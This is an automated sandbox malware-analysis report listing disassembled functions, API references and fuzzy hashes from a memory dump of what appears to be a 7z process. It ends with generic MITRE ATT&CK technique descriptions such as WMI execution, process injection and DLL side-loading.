Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: 586c8cc20f275266bf889dc5ef0a5fac6cb60cf56a6a0da5214c7ba1b0ee869b
Instruction ID: 06863dc9e763f9f91cd665a913522dc70e7ee91a22042d9c39f7a7afa747d275
Opcode Fuzzy Hash: 586c8cc20f275266bf889dc5ef0a5fac6cb60cf56a6a0da5214c7ba1b0ee869b
Instruction Fuzzy Hash: DAE01C62259644E1CE20FB24F45545AA720EBC57B4B442311B6BF567BADE2CC686CA00

Function 00792130 Relevance: 2.5, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00792134
_CxxThrowException.MSVCRT ref: 0079214F

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: ExceptionThrowmalloc
String ID:
API String ID: 2436765578-0
Opcode ID: fa6ff63fb0a4f718842d089b3478a2da5176663da7f3a9e4140987a861a74cca
Instruction ID: b61cd6991a87a2957ef70e01324d5fddcb3e1d5ec539611430484e86535ffe3e
Opcode Fuzzy Hash: fa6ff63fb0a4f718842d089b3478a2da5176663da7f3a9e4140987a861a74cca
Instruction Fuzzy Hash: 4DD01291F1B685E1DE09BB54A8C53186730AB98740F945056E24F01725DA5CD19FC701

Function 007A251C Relevance: 1.6, APIs: 1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cd451c15515d27b5fb79faae5e116a06c4e7ed636842f570073d620974bbfb5
Instruction ID: a3872f404155923029d2bc415b85127ed2566721f2cf9a19818828c89f0d8bd1
Opcode Fuzzy Hash: 2cd451c15515d27b5fb79faae5e116a06c4e7ed636842f570073d620974bbfb5
Instruction Fuzzy Hash: 20513D72244AC095CB61CF39D4402DD2B61F3CAF98F694276DF9A4AB1ADF29C886C711

Function 007B86E0 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

SysStringByteLen.OLEAUT32 ref: 007B8744

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: ByteString
String ID:
API String ID: 4236320881-0
Opcode ID: 1f64ae9d3ddb337fcfe08435523e691609cde8a8f740f1935bab7fcecbb63b66
Instruction ID: eade6868374e7ef07e71fc54867706069aee40962c69ede4aa232594c0549ca3
Opcode Fuzzy Hash: 1f64ae9d3ddb337fcfe08435523e691609cde8a8f740f1935bab7fcecbb63b66
Instruction Fuzzy Hash: F011C81661878182E3A08B58E4407EA6764F7847E8F648321EFDA577E8EF3CCD85C706

Function 00798C98 Relevance: 1.5, APIs: 1, Instructions: 25fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00798A60: SetFilePointer.KERNELBASE(?,?,00000003,?,00798E1D), ref: 00798A99
Part of subcall function 00798A60: GetLastError.KERNEL32(?,?,00000003,?,00798E1D), ref: 00798AA6

SetEndOfFile.KERNELBASE ref: 00798CC7

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: File$ErrorLastPointer
String ID:
API String ID: 841452515-0
Opcode ID: c90e265412cd84312492c39e5ed9ff3a683aba44eb41e009ab2a5a4b09f96c43
Instruction ID: 116baea6a9b5f6680f6ed564e8f76c400796a0cec9adba7aa25d7277d31e1c58
Opcode Fuzzy Hash: c90e265412cd84312492c39e5ed9ff3a683aba44eb41e009ab2a5a4b09f96c43
Instruction Fuzzy Hash: 39E02612301898D2EBA09BA1B48166A8310AB477E0F489071AA4983B48CE6D8CDA8720

Function 007964D4 Relevance: 1.5, APIs: 1, Instructions: 22libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00796464: FreeLibrary.KERNELBASE(?,?,?,007964E7), ref: 00796475

LoadLibraryExW.KERNELBASE ref: 007964F4

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: Library$FreeLoad
String ID:
API String ID: 534179979-0
Opcode ID: 3a2e34574c688ca7af7f74dd229b4749d7d1e3364c56f11fc75fdd86188f9568
Instruction ID: 15abd5cc513b92af2bdd80798eb0f6c22766a51f71dfdb2311b824223e70fafb
Opcode Fuzzy Hash: 3a2e34574c688ca7af7f74dd229b4749d7d1e3364c56f11fc75fdd86188f9568
Instruction Fuzzy Hash: 09D02E21B00AA582EE102BA6784226803202F05BE0E88C030DE0E03320EE2D0CEBA300

Function 00798BF0 Relevance: 1.5, APIs: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE ref: 00798C1F

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 1085791dad4498b16cc9abdee153caba491eab099019c6398aedde3617614eaf
Instruction ID: 847ebd5162edda4eaf9ebdc4c3cba14fd1f0d9206b842252713bb7d8de6efaf7
Opcode Fuzzy Hash: 1085791dad4498b16cc9abdee153caba491eab099019c6398aedde3617614eaf
Instruction Fuzzy Hash: 02E04676628644CBE740CF60E400B5AB3A0F788B24F004125DE8E83B54CBBCC045CF40

Function 00796464 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

FreeLibrary.KERNELBASE(?,?,?,007964E7), ref: 00796475

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 263427ff8568d61754d606e09aee6c08ed44ac838dad2c881132b4691fd57d34
Instruction ID: ba6f2d94c6c6459f1ed74c0f58226c05e5f600a61ee86f24db3a182c59cd28fc
Opcode Fuzzy Hash: 263427ff8568d61754d606e09aee6c08ed44ac838dad2c881132b4691fd57d34
Instruction Fuzzy Hash: 01D012A2B02544C5FF154FE2F85433523646F58F44F5C5110CE194A250EB2D89958761

Function 00798AF4 Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE ref: 00798B16

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: d6e337c251ae6e5d4ca8af2bcbb66e5cb8e311ff68b77760b7eea80f1dd1c151
Instruction ID: a869cd7f06140cb521f5d19a4f65506259630f282a52a515f6cd42c830b1c8bd
Opcode Fuzzy Hash: d6e337c251ae6e5d4ca8af2bcbb66e5cb8e311ff68b77760b7eea80f1dd1c151
Instruction Fuzzy Hash: 8CD01776618684C6E7008F60E04575AF764F788B64F480005EA8906764CBBDC599CB00

Function 007926A0 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 007926C1

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: fputs
String ID:
API String ID: 1795875747-0
Opcode ID: 5f6c79e67240f10e506dcd010c05e3fcb41f145b375b3b6d5ae371637dca3dc7
Instruction ID: d03474de0e457555b7d318db3c2d520c43da1e46e37a072b2351ed3682ed98b9
Opcode Fuzzy Hash: 5f6c79e67240f10e506dcd010c05e3fcb41f145b375b3b6d5ae371637dca3dc7
Instruction Fuzzy Hash: 5ED0A7D570074981CE109726E4042692321BB48BC4F484021DD9E07314D92CD1148B00

Function 0079794C Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE ref: 0079795E

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 722c96f04a6826338d67a42852ca525e19c432cc1267ed16e2c090f8721fb2dc
Instruction ID: 77578934a4998bf3c29d486e38dc693230a46c372951fe78f3823ba38484d985
Opcode Fuzzy Hash: 722c96f04a6826338d67a42852ca525e19c432cc1267ed16e2c090f8721fb2dc
Instruction Fuzzy Hash: 60D0C976A1994581DF252FBAA8403682362EB95F74F288321CAB54A3E0DF2D9496C711

Function 00798BB0 Relevance: 1.5, APIs: 1, Instructions: 8timeCOMMON

Download Yara Rule

APIs

SetFileTime.KERNELBASE ref: 00798BB7

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: FileTime
String ID:
API String ID: 1425588814-0
Opcode ID: 27dcbfd971054ac7552dc6a0aec683e37694d7ffe7d38722d02be5010972bc1d
Instruction ID: c01c92e183b8c0cee0cca59745a2dde0af42a9892e552d845f88420f15891e90
Opcode Fuzzy Hash: 27dcbfd971054ac7552dc6a0aec683e37694d7ffe7d38722d02be5010972bc1d
Instruction Fuzzy Hash: 9FB09220B12400C2CB0C6722D89231C13606B88B21FE1842AC50FD5650CD1D85E94700

Function 007B373C Relevance: 1.3, APIs: 1, Instructions: 86COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 007B37FB

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: deeb8322bb3e31c61ea61dbc074885bb59698c861cc3d3bf43e6ee2464223888
Instruction ID: 1aa81e82c7f8c9030392b70352eacce739ca046cfe00552ccd632b22e8922e76
Opcode Fuzzy Hash: deeb8322bb3e31c61ea61dbc074885bb59698c861cc3d3bf43e6ee2464223888
Instruction Fuzzy Hash: A22128B3704244D6C724DA2AB844BDB7794F789BA4F645224FE6647794EF3CC982C780

Function 0079C90C Relevance: 1.3, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0079C995

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: eb002aa5dddfab1f6f72238e3db67cd756069b3d051d820f05e845315efd0b1d
Instruction ID: 9bceaee141e398e42a96cb8ab9138ef7f788a1068c8248387f65d364d0e6e15a
Opcode Fuzzy Hash: eb002aa5dddfab1f6f72238e3db67cd756069b3d051d820f05e845315efd0b1d
Instruction Fuzzy Hash: 8C11367271566087CF328B6CF4502287251F7007F4B648036DBCA8BA15EA6EEC829201

Function 00798624 Relevance: 1.3, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 007986A9

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 0cb8849b5f1b8dcf8495defb4a02ef2f2e9066f911d13bd2e7f25b7badd2a547
Instruction ID: 39bdfc3f23858799393e5f2f6964de0d659fe06ac4e4769fedeb22da4a280a5f
Opcode Fuzzy Hash: 0cb8849b5f1b8dcf8495defb4a02ef2f2e9066f911d13bd2e7f25b7badd2a547
Instruction Fuzzy Hash: E001FB7636624086EB10DF19D56C35E7BA0B7D5B68F140208DBA44F3D2C77EC54ACB94

Function 0079CB78 Relevance: 1.3, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0079CBA8

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 72e9e68ca430013701742a141a95d2249b3bc08b53a58632590991780ceaea4c
Instruction ID: 9b05b36f4b9c3384fb332b3453f17b826b85cc6e565b32917cb4a35b68fec143
Opcode Fuzzy Hash: 72e9e68ca430013701742a141a95d2249b3bc08b53a58632590991780ceaea4c
Instruction Fuzzy Hash: FCF0E5A235014887DF029F7DE98126831A1FB49795F94543AEF8687601E92CCC998724

Function 0079CB34 Relevance: 1.3, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 007989D8: CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,FFFFFFFF,?,?,?,00000003,?,00000000,00000000), ref: 007989EA

GetLastError.KERNEL32 ref: 0079CB49

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: a07007c1e2871dab96c79eb06679e0159d305b21fb5ff06fcf71a401af31ebbf
Instruction ID: 2e788d11e74bace2340c2fefc93f124fe34d3a6f1ca616b50e506a2a7f991d46
Opcode Fuzzy Hash: a07007c1e2871dab96c79eb06679e0159d305b21fb5ff06fcf71a401af31ebbf
Instruction Fuzzy Hash: A8D05B81B6049486EF515AB969D53342091A718761F901435EE5BC6252E41C9DC9622A

Function 00793314 Relevance: 1.3, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 00793339

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: ead37c245d68de3b924b300fd151c9469a6fa14fdf63e67ea49c121c3f4112c9
Instruction ID: 3ab899d7d4310048604cca1f75c76535c395c726dffd3656c2414383327a59bd
Opcode Fuzzy Hash: ead37c245d68de3b924b300fd151c9469a6fa14fdf63e67ea49c121c3f4112c9
Instruction Fuzzy Hash: 67D05EA67406C8C6CE14AB27D68551DA3229B88FD4708D0259F080B70ACE24CCE68740

Function 007989D8 Relevance: 1.3, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,FFFFFFFF,?,?,?,00000003,?,00000000,00000000), ref: 007989EA

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 7026176aaa05c1561b6c1c0339a02e34eafe156cfb338b490f72a4c876cde8b9
Instruction ID: ebd3d37017349caf5cfd505abed1900ed888b884885596c4f5559f7574724c5e
Opcode Fuzzy Hash: 7026176aaa05c1561b6c1c0339a02e34eafe156cfb338b490f72a4c876cde8b9
Instruction Fuzzy Hash: D2D0A772A0194581DF251F7ED8413341360AB15B74F184310C9B54A2D0DF2D8DC68302

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
